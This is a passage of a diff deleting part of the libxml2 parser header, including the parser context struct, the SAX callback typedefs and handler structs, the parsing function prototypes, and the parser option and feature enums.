xmlLoadExtDtdDefaultValue in some special cases. - */ -#define XML_SKIP_IDS 8 - -/** - * xmlParserMode: - * - * A parser can operate in various modes - */ -typedef enum { - XML_PARSE_UNKNOWN = 0, - XML_PARSE_DOM = 1, - XML_PARSE_SAX = 2, - XML_PARSE_PUSH_DOM = 3, - XML_PARSE_PUSH_SAX = 4, - XML_PARSE_READER = 5 -} xmlParserMode; - -/** - * xmlParserCtxt: - * - * The parser context. - * NOTE This doesn't completely define the parser state, the (current ?) - * design of the parser uses recursive function calls since this allow - * and easy mapping from the production rules of the specification - * to the actual code. The drawback is that the actual function call - * also reflect the parser state. However most of the parsing routines - * takes as the only argument the parser context pointer, so migrating - * to a state based parser for progressive parsing shouldn't be too hard. - */ -struct _xmlParserCtxt { - struct _xmlSAXHandler *sax; /* The SAX handler */ - void *userData; /* For SAX interface only, used by DOM build */ - xmlDocPtr myDoc; /* the document being built */ - int wellFormed; /* is the document well formed */ - int replaceEntities; /* shall we replace entities ? */ - const xmlChar *version; /* the XML version string */ - const xmlChar *encoding; /* the declared encoding, if any */ - int standalone; /* standalone document */ - int html; /* an HTML(1)/Docbook(2) document - * 3 is HTML after - * 10 is HTML after - */ - - /* Input stream stack */ - xmlParserInputPtr input; /* Current input stream */ - int inputNr; /* Number of current input streams */ - int inputMax; /* Max number of input streams */ - xmlParserInputPtr *inputTab; /* stack of inputs */ - - /* Node analysis stack only used for DOM building */ - xmlNodePtr node; /* Current parsed Node */ - int nodeNr; /* Depth of the parsing stack */ - int nodeMax; /* Max depth of the parsing stack */ - xmlNodePtr *nodeTab; /* array of nodes */ - - int record_info; /* Whether node info should be kept */ - xmlParserNodeInfoSeq node_seq; /* info about each node parsed */ - - int errNo; /* error code */ - - int hasExternalSubset; /* reference and external subset */ - int hasPErefs; /* the internal subset has PE refs */ - int external; /* are we parsing an external entity */ - - int valid; /* is the document valid */ - int validate; /* shall we try to validate ? */ - xmlValidCtxt vctxt; /* The validity context */ - - xmlParserInputState instate; /* current type of input */ - int token; /* next char look-ahead */ - - char *directory; /* the data directory */ - - /* Node name stack */ - const xmlChar *name; /* Current parsed Node */ - int nameNr; /* Depth of the parsing stack */ - int nameMax; /* Max depth of the parsing stack */ - const xmlChar * *nameTab; /* array of nodes */ - - long nbChars; /* number of xmlChar processed */ - long checkIndex; /* used by progressive parsing lookup */ - int keepBlanks; /* ugly but ... */ - int disableSAX; /* SAX callbacks are disabled */ - int inSubset; /* Parsing is in int 1/ext 2 subset */ - const xmlChar * intSubName; /* name of subset */ - xmlChar * extSubURI; /* URI of external subset */ - xmlChar * extSubSystem; /* SYSTEM ID of external subset */ - - /* xml:space values */ - int * space; /* Should the parser preserve spaces */ - int spaceNr; /* Depth of the parsing stack */ - int spaceMax; /* Max depth of the parsing stack */ - int * spaceTab; /* array of space infos */ - - int depth; /* to prevent entity substitution loops */ - xmlParserInputPtr entity; /* used to check entities boundaries */ - int charset; /* encoding of the in-memory content - actually an xmlCharEncoding */ - int nodelen; /* Those two fields are there to */ - int nodemem; /* Speed up large node parsing */ - int pedantic; /* signal pedantic warnings */ - void *_private; /* For user data, libxml won't touch it */ - - int loadsubset; /* should the external subset be loaded */ - int linenumbers; /* set line number in element content */ - void *catalogs; /* document's own catalog */ - int recovery; /* run in recovery mode */ - int progressive; /* is this a progressive parsing */ - xmlDictPtr dict; /* dictionary for the parser */ - const xmlChar * *atts; /* array for the attributes callbacks */ - int maxatts; /* the size of the array */ - int docdict; /* use strings from dict to build tree */ - - /* - * pre-interned strings - */ - const xmlChar *str_xml; - const xmlChar *str_xmlns; - const xmlChar *str_xml_ns; - - /* - * Everything below is used only by the new SAX mode - */ - int sax2; /* operating in the new SAX mode */ - int nsNr; /* the number of inherited namespaces */ - int nsMax; /* the size of the arrays */ - const xmlChar * *nsTab; /* the array of prefix/namespace name */ - int *attallocs; /* which attribute were allocated */ - void * *pushTab; /* array of data for push */ - xmlHashTablePtr attsDefault; /* defaulted attributes if any */ - xmlHashTablePtr attsSpecial; /* non-CDATA attributes if any */ - int nsWellFormed; /* is the document XML Nanespace okay */ - int options; /* Extra options */ - - /* - * Those fields are needed only for treaming parsing so far - */ - int dictNames; /* Use dictionary names for the tree */ - int freeElemsNr; /* number of freed element nodes */ - xmlNodePtr freeElems; /* List of freed element nodes */ - int freeAttrsNr; /* number of freed attributes nodes */ - xmlAttrPtr freeAttrs; /* List of freed attributes nodes */ - - /* - * the complete error informations for the last error. - */ - xmlError lastError; - xmlParserMode parseMode; /* the parser mode */ - unsigned long nbentities; /* number of entities references */ - unsigned long sizeentities; /* size of parsed entities */ - - /* for use by HTML non-recursive parser */ - xmlParserNodeInfo *nodeInfo; /* Current NodeInfo */ - int nodeInfoNr; /* Depth of the parsing stack */ - int nodeInfoMax; /* Max depth of the parsing stack */ - xmlParserNodeInfo *nodeInfoTab; /* array of nodeInfos */ - - int input_id; /* we need to label inputs */ - unsigned long sizeentcopy; /* volume of entity copy */ -}; - -/** - * xmlSAXLocator: - * - * A SAX Locator. - */ -struct _xmlSAXLocator { - const xmlChar *(*getPublicId)(void *ctx); - const xmlChar *(*getSystemId)(void *ctx); - int (*getLineNumber)(void *ctx); - int (*getColumnNumber)(void *ctx); -}; - -/** - * xmlSAXHandler: - * - * A SAX handler is bunch of callbacks called by the parser when processing - * of the input generate data or structure informations. - */ - -/** - * resolveEntitySAXFunc: - * @ctx: the user data (XML parser context) - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * - * Callback: - * The entity loader, to control the loading of external entities, - * the application can either: - * - override this resolveEntity() callback in the SAX block - * - or better use the xmlSetExternalEntityLoader() function to - * set up it's own entity resolution routine - * - * Returns the xmlParserInputPtr if inlined or NULL for DOM behaviour. - */ -typedef xmlParserInputPtr (*resolveEntitySAXFunc) (void *ctx, - const xmlChar *publicId, - const xmlChar *systemId); -/** - * internalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the root element name - * @ExternalID: the external ID - * @SystemID: the SYSTEM ID (e.g. filename or URL) - * - * Callback on internal subset declaration. - */ -typedef void (*internalSubsetSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -/** - * externalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the root element name - * @ExternalID: the external ID - * @SystemID: the SYSTEM ID (e.g. filename or URL) - * - * Callback on external subset declaration. - */ -typedef void (*externalSubsetSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -/** - * getEntitySAXFunc: - * @ctx: the user data (XML parser context) - * @name: The entity name - * - * Get an entity by name. - * - * Returns the xmlEntityPtr if found. - */ -typedef xmlEntityPtr (*getEntitySAXFunc) (void *ctx, - const xmlChar *name); -/** - * getParameterEntitySAXFunc: - * @ctx: the user data (XML parser context) - * @name: The entity name - * - * Get a parameter entity by name. - * - * Returns the xmlEntityPtr if found. - */ -typedef xmlEntityPtr (*getParameterEntitySAXFunc) (void *ctx, - const xmlChar *name); -/** - * entityDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the entity name - * @type: the entity type - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * @content: the entity value (without processing). - * - * An entity definition has been parsed. - */ -typedef void (*entityDeclSAXFunc) (void *ctx, - const xmlChar *name, - int type, - const xmlChar *publicId, - const xmlChar *systemId, - xmlChar *content); -/** - * notationDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The name of the notation - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * - * What to do when a notation declaration has been parsed. - */ -typedef void (*notationDeclSAXFunc)(void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId); -/** - * attributeDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @elem: the name of the element - * @fullname: the attribute name - * @type: the attribute type - * @def: the type of default value - * @defaultValue: the attribute default value - * @tree: the tree of enumerated value set - * - * An attribute definition has been parsed. - */ -typedef void (*attributeDeclSAXFunc)(void *ctx, - const xmlChar *elem, - const xmlChar *fullname, - int type, - int def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -/** - * elementDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: the element name - * @type: the element type - * @content: the element value tree - * - * An element definition has been parsed. - */ -typedef void (*elementDeclSAXFunc)(void *ctx, - const xmlChar *name, - int type, - xmlElementContentPtr content); -/** - * unparsedEntityDeclSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The name of the entity - * @publicId: The public ID of the entity - * @systemId: The system ID of the entity - * @notationName: the name of the notation - * - * What to do when an unparsed entity declaration is parsed. - */ -typedef void (*unparsedEntityDeclSAXFunc)(void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId, - const xmlChar *notationName); -/** - * setDocumentLocatorSAXFunc: - * @ctx: the user data (XML parser context) - * @loc: A SAX Locator - * - * Receive the document locator at startup, actually xmlDefaultSAXLocator. - * Everything is available on the context, so this is useless in our case. - */ -typedef void (*setDocumentLocatorSAXFunc) (void *ctx, - xmlSAXLocatorPtr loc); -/** - * startDocumentSAXFunc: - * @ctx: the user data (XML parser context) - * - * Called when the document start being processed. - */ -typedef void (*startDocumentSAXFunc) (void *ctx); -/** - * endDocumentSAXFunc: - * @ctx: the user data (XML parser context) - * - * Called when the document end has been detected. - */ -typedef void (*endDocumentSAXFunc) (void *ctx); -/** - * startElementSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The element name, including namespace prefix - * @atts: An array of name/value attributes pairs, NULL terminated - * - * Called when an opening tag has been processed. - */ -typedef void (*startElementSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar **atts); -/** - * endElementSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The element name - * - * Called when the end of an element has been detected. - */ -typedef void (*endElementSAXFunc) (void *ctx, - const xmlChar *name); -/** - * attributeSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The attribute name, including namespace prefix - * @value: The attribute value - * - * Handle an attribute that has been read by the parser. - * The default handling is to convert the attribute into an - * DOM subtree and past it in a new xmlAttr element added to - * the element. - */ -typedef void (*attributeSAXFunc) (void *ctx, - const xmlChar *name, - const xmlChar *value); -/** - * referenceSAXFunc: - * @ctx: the user data (XML parser context) - * @name: The entity name - * - * Called when an entity reference is detected. - */ -typedef void (*referenceSAXFunc) (void *ctx, - const xmlChar *name); -/** - * charactersSAXFunc: - * @ctx: the user data (XML parser context) - * @ch: a xmlChar string - * @len: the number of xmlChar - * - * Receiving some chars from the parser. - */ -typedef void (*charactersSAXFunc) (void *ctx, - const xmlChar *ch, - int len); -/** - * ignorableWhitespaceSAXFunc: - * @ctx: the user data (XML parser context) - * @ch: a xmlChar string - * @len: the number of xmlChar - * - * Receiving some ignorable whitespaces from the parser. - * UNUSED: by default the DOM building will use characters. - */ -typedef void (*ignorableWhitespaceSAXFunc) (void *ctx, - const xmlChar *ch, - int len); -/** - * processingInstructionSAXFunc: - * @ctx: the user data (XML parser context) - * @target: the target name - * @data: the PI data's - * - * A processing instruction has been parsed. - */ -typedef void (*processingInstructionSAXFunc) (void *ctx, - const xmlChar *target, - const xmlChar *data); -/** - * commentSAXFunc: - * @ctx: the user data (XML parser context) - * @value: the comment content - * - * A comment has been parsed. - */ -typedef void (*commentSAXFunc) (void *ctx, - const xmlChar *value); -/** - * cdataBlockSAXFunc: - * @ctx: the user data (XML parser context) - * @value: The pcdata content - * @len: the block length - * - * Called when a pcdata block has been parsed. - */ -typedef void (*cdataBlockSAXFunc) ( - void *ctx, - const xmlChar *value, - int len); -/** - * warningSAXFunc: - * @ctx: an XML parser context - * @msg: the message to display/transmit - * @...: extra parameters for the message display - * - * Display and format a warning messages, callback. - */ -typedef void (XMLCDECL *warningSAXFunc) (void *ctx, - const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); -/** - * errorSAXFunc: - * @ctx: an XML parser context - * @msg: the message to display/transmit - * @...: extra parameters for the message display - * - * Display and format an error messages, callback. - */ -typedef void (XMLCDECL *errorSAXFunc) (void *ctx, - const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); -/** - * fatalErrorSAXFunc: - * @ctx: an XML parser context - * @msg: the message to display/transmit - * @...: extra parameters for the message display - * - * Display and format fatal error messages, callback. - * Note: so far fatalError() SAX callbacks are not used, error() - * get all the callbacks for errors. - */ -typedef void (XMLCDECL *fatalErrorSAXFunc) (void *ctx, - const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); -/** - * isStandaloneSAXFunc: - * @ctx: the user data (XML parser context) - * - * Is this document tagged standalone? - * - * Returns 1 if true - */ -typedef int (*isStandaloneSAXFunc) (void *ctx); -/** - * hasInternalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * - * Does this document has an internal subset. - * - * Returns 1 if true - */ -typedef int (*hasInternalSubsetSAXFunc) (void *ctx); - -/** - * hasExternalSubsetSAXFunc: - * @ctx: the user data (XML parser context) - * - * Does this document has an external subset? - * - * Returns 1 if true - */ -typedef int (*hasExternalSubsetSAXFunc) (void *ctx); - -/************************************************************************ - * * - * The SAX version 2 API extensions * - * * - ************************************************************************/ -/** - * XML_SAX2_MAGIC: - * - * Special constant found in SAX2 blocks initialized fields - */ -#define XML_SAX2_MAGIC 0xDEEDBEAF - -/** - * startElementNsSAX2Func: - * @ctx: the user data (XML parser context) - * @localname: the local name of the element - * @prefix: the element namespace prefix if available - * @URI: the element namespace name if available - * @nb_namespaces: number of namespace definitions on that node - * @namespaces: pointer to the array of prefix/URI pairs namespace definitions - * @nb_attributes: the number of attributes on that node - * @nb_defaulted: the number of defaulted attributes. The defaulted - * ones are at the end of the array - * @attributes: pointer to the array of (localname/prefix/URI/value/end) - * attribute values. - * - * SAX2 callback when an element start has been detected by the parser. - * It provides the namespace informations for the element, as well as - * the new namespace declarations on the element. - */ - -typedef void (*startElementNsSAX2Func) (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI, - int nb_namespaces, - const xmlChar **namespaces, - int nb_attributes, - int nb_defaulted, - const xmlChar **attributes); - -/** - * endElementNsSAX2Func: - * @ctx: the user data (XML parser context) - * @localname: the local name of the element - * @prefix: the element namespace prefix if available - * @URI: the element namespace name if available - * - * SAX2 callback when an element end has been detected by the parser. - * It provides the namespace informations for the element. - */ - -typedef void (*endElementNsSAX2Func) (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI); - - -struct _xmlSAXHandler { - internalSubsetSAXFunc internalSubset; - isStandaloneSAXFunc isStandalone; - hasInternalSubsetSAXFunc hasInternalSubset; - hasExternalSubsetSAXFunc hasExternalSubset; - resolveEntitySAXFunc resolveEntity; - getEntitySAXFunc getEntity; - entityDeclSAXFunc entityDecl; - notationDeclSAXFunc notationDecl; - attributeDeclSAXFunc attributeDecl; - elementDeclSAXFunc elementDecl; - unparsedEntityDeclSAXFunc unparsedEntityDecl; - setDocumentLocatorSAXFunc setDocumentLocator; - startDocumentSAXFunc startDocument; - endDocumentSAXFunc endDocument; - startElementSAXFunc startElement; - endElementSAXFunc endElement; - referenceSAXFunc reference; - charactersSAXFunc characters; - ignorableWhitespaceSAXFunc ignorableWhitespace; - processingInstructionSAXFunc processingInstruction; - commentSAXFunc comment; - warningSAXFunc warning; - errorSAXFunc error; - fatalErrorSAXFunc fatalError; /* unused error() get all the errors */ - getParameterEntitySAXFunc getParameterEntity; - cdataBlockSAXFunc cdataBlock; - externalSubsetSAXFunc externalSubset; - unsigned int initialized; - /* The following fields are extensions available only on version 2 */ - void *_private; - startElementNsSAX2Func startElementNs; - endElementNsSAX2Func endElementNs; - xmlStructuredErrorFunc serror; -}; - -/* - * SAX Version 1 - */ -typedef struct _xmlSAXHandlerV1 xmlSAXHandlerV1; -typedef xmlSAXHandlerV1 *xmlSAXHandlerV1Ptr; -struct _xmlSAXHandlerV1 { - internalSubsetSAXFunc internalSubset; - isStandaloneSAXFunc isStandalone; - hasInternalSubsetSAXFunc hasInternalSubset; - hasExternalSubsetSAXFunc hasExternalSubset; - resolveEntitySAXFunc resolveEntity; - getEntitySAXFunc getEntity; - entityDeclSAXFunc entityDecl; - notationDeclSAXFunc notationDecl; - attributeDeclSAXFunc attributeDecl; - elementDeclSAXFunc elementDecl; - unparsedEntityDeclSAXFunc unparsedEntityDecl; - setDocumentLocatorSAXFunc setDocumentLocator; - startDocumentSAXFunc startDocument; - endDocumentSAXFunc endDocument; - startElementSAXFunc startElement; - endElementSAXFunc endElement; - referenceSAXFunc reference; - charactersSAXFunc characters; - ignorableWhitespaceSAXFunc ignorableWhitespace; - processingInstructionSAXFunc processingInstruction; - commentSAXFunc comment; - warningSAXFunc warning; - errorSAXFunc error; - fatalErrorSAXFunc fatalError; /* unused error() get all the errors */ - getParameterEntitySAXFunc getParameterEntity; - cdataBlockSAXFunc cdataBlock; - externalSubsetSAXFunc externalSubset; - unsigned int initialized; -}; - - -/** - * xmlExternalEntityLoader: - * @URL: The System ID of the resource requested - * @ID: The Public ID of the resource requested - * @context: the XML parser context - * - * External entity loaders types. - * - * Returns the entity input parser. - */ -typedef xmlParserInputPtr (*xmlExternalEntityLoader) (const char *URL, - const char *ID, - xmlParserCtxtPtr context); - -#ifdef __cplusplus -} -#endif - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - - -/* - * Init/Cleanup - */ -XMLPUBFUN void XMLCALL - xmlInitParser (void); -XMLPUBFUN void XMLCALL - xmlCleanupParser (void); - -/* - * Input functions - */ -XMLPUBFUN int XMLCALL - xmlParserInputRead (xmlParserInputPtr in, - int len); -XMLPUBFUN int XMLCALL - xmlParserInputGrow (xmlParserInputPtr in, - int len); - -/* - * Basic parsing Interfaces - */ -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseDoc (const xmlChar *cur); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseFile (const char *filename); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseMemory (const char *buffer, - int size); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN int XMLCALL - xmlSubstituteEntitiesDefault(int val); -XMLPUBFUN int XMLCALL - xmlKeepBlanksDefault (int val); -XMLPUBFUN void XMLCALL - xmlStopParser (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlPedanticParserDefault(int val); -XMLPUBFUN int XMLCALL - xmlLineNumbersDefault (int val); - -#ifdef LIBXML_SAX1_ENABLED -/* - * Recovery mode - */ -XMLPUBFUN xmlDocPtr XMLCALL - xmlRecoverDoc (const xmlChar *cur); -XMLPUBFUN xmlDocPtr XMLCALL - xmlRecoverMemory (const char *buffer, - int size); -XMLPUBFUN xmlDocPtr XMLCALL - xmlRecoverFile (const char *filename); -#endif /* LIBXML_SAX1_ENABLED */ - -/* - * Less common routines and SAX interfaces - */ -XMLPUBFUN int XMLCALL - xmlParseDocument (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseExtParsedEnt (xmlParserCtxtPtr ctxt); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlSAXUserParseFile (xmlSAXHandlerPtr sax, - void *user_data, - const char *filename); -XMLPUBFUN int XMLCALL - xmlSAXUserParseMemory (xmlSAXHandlerPtr sax, - void *user_data, - const char *buffer, - int size); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseDoc (xmlSAXHandlerPtr sax, - const xmlChar *cur, - int recovery); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseMemory (xmlSAXHandlerPtr sax, - const char *buffer, - int size, - int recovery); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseMemoryWithData (xmlSAXHandlerPtr sax, - const char *buffer, - int size, - int recovery, - void *data); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseFile (xmlSAXHandlerPtr sax, - const char *filename, - int recovery); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseFileWithData (xmlSAXHandlerPtr sax, - const char *filename, - int recovery, - void *data); -XMLPUBFUN xmlDocPtr XMLCALL - xmlSAXParseEntity (xmlSAXHandlerPtr sax, - const char *filename); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseEntity (const char *filename); -#endif /* LIBXML_SAX1_ENABLED */ - -#ifdef LIBXML_VALID_ENABLED -XMLPUBFUN xmlDtdPtr XMLCALL - xmlSAXParseDTD (xmlSAXHandlerPtr sax, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlParseDTD (const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlIOParseDTD (xmlSAXHandlerPtr sax, - xmlParserInputBufferPtr input, - xmlCharEncoding enc); -#endif /* LIBXML_VALID_ENABLE */ -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlParseBalancedChunkMemory(xmlDocPtr doc, - xmlSAXHandlerPtr sax, - void *user_data, - int depth, - const xmlChar *string, - xmlNodePtr *lst); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN xmlParserErrors XMLCALL - xmlParseInNodeContext (xmlNodePtr node, - const char *data, - int datalen, - int options, - xmlNodePtr *lst); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlParseBalancedChunkMemoryRecover(xmlDocPtr doc, - xmlSAXHandlerPtr sax, - void *user_data, - int depth, - const xmlChar *string, - xmlNodePtr *lst, - int recover); -XMLPUBFUN int XMLCALL - xmlParseExternalEntity (xmlDocPtr doc, - xmlSAXHandlerPtr sax, - void *user_data, - int depth, - const xmlChar *URL, - const xmlChar *ID, - xmlNodePtr *lst); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN int XMLCALL - xmlParseCtxtExternalEntity(xmlParserCtxtPtr ctx, - const xmlChar *URL, - const xmlChar *ID, - xmlNodePtr *lst); - -/* - * Parser contexts handling. - */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlNewParserCtxt (void); -XMLPUBFUN int XMLCALL - xmlInitParserCtxt (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlClearParserCtxt (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlFreeParserCtxt (xmlParserCtxtPtr ctxt); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN void XMLCALL - xmlSetupParserForBuffer (xmlParserCtxtPtr ctxt, - const xmlChar* buffer, - const char *filename); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateDocParserCtxt (const xmlChar *cur); - -#ifdef LIBXML_LEGACY_ENABLED -/* - * Reading/setting optional parsing features. - */ -XMLPUBFUN int XMLCALL - xmlGetFeaturesList (int *len, - const char **result); -XMLPUBFUN int XMLCALL - xmlGetFeature (xmlParserCtxtPtr ctxt, - const char *name, - void *result); -XMLPUBFUN int XMLCALL - xmlSetFeature (xmlParserCtxtPtr ctxt, - const char *name, - void *value); -#endif /* LIBXML_LEGACY_ENABLED */ - -#ifdef LIBXML_PUSH_ENABLED -/* - * Interfaces for the Push mode. - */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreatePushParserCtxt(xmlSAXHandlerPtr sax, - void *user_data, - const char *chunk, - int size, - const char *filename); -XMLPUBFUN int XMLCALL - xmlParseChunk (xmlParserCtxtPtr ctxt, - const char *chunk, - int size, - int terminate); -#endif /* LIBXML_PUSH_ENABLED */ - -/* - * Special I/O mode. - */ - -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateIOParserCtxt (xmlSAXHandlerPtr sax, - void *user_data, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - xmlCharEncoding enc); - -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewIOInputStream (xmlParserCtxtPtr ctxt, - xmlParserInputBufferPtr input, - xmlCharEncoding enc); - -/* - * Node infos. - */ -XMLPUBFUN const xmlParserNodeInfo* XMLCALL - xmlParserFindNodeInfo (const xmlParserCtxtPtr ctxt, - const xmlNodePtr node); -XMLPUBFUN void XMLCALL - xmlInitNodeInfoSeq (xmlParserNodeInfoSeqPtr seq); -XMLPUBFUN void XMLCALL - xmlClearNodeInfoSeq (xmlParserNodeInfoSeqPtr seq); -XMLPUBFUN unsigned long XMLCALL - xmlParserFindNodeInfoIndex(const xmlParserNodeInfoSeqPtr seq, - const xmlNodePtr node); -XMLPUBFUN void XMLCALL - xmlParserAddNodeInfo (xmlParserCtxtPtr ctxt, - const xmlParserNodeInfoPtr info); - -/* - * External entities handling actually implemented in xmlIO. - */ - -XMLPUBFUN void XMLCALL - xmlSetExternalEntityLoader(xmlExternalEntityLoader f); -XMLPUBFUN xmlExternalEntityLoader XMLCALL - xmlGetExternalEntityLoader(void); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlLoadExternalEntity (const char *URL, - const char *ID, - xmlParserCtxtPtr ctxt); - -/* - * Index lookup, actually implemented in the encoding module - */ -XMLPUBFUN long XMLCALL - xmlByteConsumed (xmlParserCtxtPtr ctxt); - -/* - * New set of simpler/more flexible APIs - */ -/** - * xmlParserOption: - * - * This is the set of XML parser options that can be passed down - * to the xmlReadDoc() and similar calls. - */ -typedef enum { - XML_PARSE_RECOVER = 1<<0, /* recover on errors */ - XML_PARSE_NOENT = 1<<1, /* substitute entities */ - XML_PARSE_DTDLOAD = 1<<2, /* load the external subset */ - XML_PARSE_DTDATTR = 1<<3, /* default DTD attributes */ - XML_PARSE_DTDVALID = 1<<4, /* validate with the DTD */ - XML_PARSE_NOERROR = 1<<5, /* suppress error reports */ - XML_PARSE_NOWARNING = 1<<6, /* suppress warning reports */ - XML_PARSE_PEDANTIC = 1<<7, /* pedantic error reporting */ - XML_PARSE_NOBLANKS = 1<<8, /* remove blank nodes */ - XML_PARSE_SAX1 = 1<<9, /* use the SAX1 interface internally */ - XML_PARSE_XINCLUDE = 1<<10,/* Implement XInclude substitition */ - XML_PARSE_NONET = 1<<11,/* Forbid network access */ - XML_PARSE_NODICT = 1<<12,/* Do not reuse the context dictionary */ - XML_PARSE_NSCLEAN = 1<<13,/* remove redundant namespaces declarations */ - XML_PARSE_NOCDATA = 1<<14,/* merge CDATA as text nodes */ - XML_PARSE_NOXINCNODE= 1<<15,/* do not generate XINCLUDE START/END nodes */ - XML_PARSE_COMPACT = 1<<16,/* compact small text nodes; no modification of - the tree allowed afterwards (will possibly - crash if you try to modify the tree) */ - XML_PARSE_OLD10 = 1<<17,/* parse using XML-1.0 before update 5 */ - XML_PARSE_NOBASEFIX = 1<<18,/* do not fixup XINCLUDE xml:base uris */ - XML_PARSE_HUGE = 1<<19,/* relax any hardcoded limit from the parser */ - XML_PARSE_OLDSAX = 1<<20,/* parse using SAX2 interface before 2.7.0 */ - XML_PARSE_IGNORE_ENC= 1<<21,/* ignore internal document encoding hint */ - XML_PARSE_BIG_LINES = 1<<22 /* Store big lines numbers in text PSVI field */ -} xmlParserOption; - -XMLPUBFUN void XMLCALL - xmlCtxtReset (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlCtxtResetPush (xmlParserCtxtPtr ctxt, - const char *chunk, - int size, - const char *filename, - const char *encoding); -XMLPUBFUN int XMLCALL - xmlCtxtUseOptions (xmlParserCtxtPtr ctxt, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadDoc (const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadFile (const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadMemory (const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadFd (int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlReadIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadDoc (xmlParserCtxtPtr ctxt, - const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadFile (xmlParserCtxtPtr ctxt, - const char *filename, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadMemory (xmlParserCtxtPtr ctxt, - const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadFd (xmlParserCtxtPtr ctxt, - int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlDocPtr XMLCALL - xmlCtxtReadIO (xmlParserCtxtPtr ctxt, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); - -/* - * Library wide options - */ -/** - * xmlFeature: - * - * Used to examine the existance of features that can be enabled - * or disabled at compile-time. - * They used to be called XML_FEATURE_xxx but this clashed with Expat - */ -typedef enum { - XML_WITH_THREAD = 1, - XML_WITH_TREE = 2, - XML_WITH_OUTPUT = 3, - XML_WITH_PUSH = 4, - XML_WITH_READER = 5, - XML_WITH_PATTERN = 6, - XML_WITH_WRITER = 7, - XML_WITH_SAX1 = 8, - XML_WITH_FTP = 9, - XML_WITH_HTTP = 10, - XML_WITH_VALID = 11, - XML_WITH_HTML = 12, - XML_WITH_LEGACY = 13, - XML_WITH_C14N = 14, - XML_WITH_CATALOG = 15, - XML_WITH_XPATH = 16, - XML_WITH_XPTR = 17, - XML_WITH_XINCLUDE = 18, - XML_WITH_ICONV = 19, - XML_WITH_ISO8859X = 20, - XML_WITH_UNICODE = 21, - 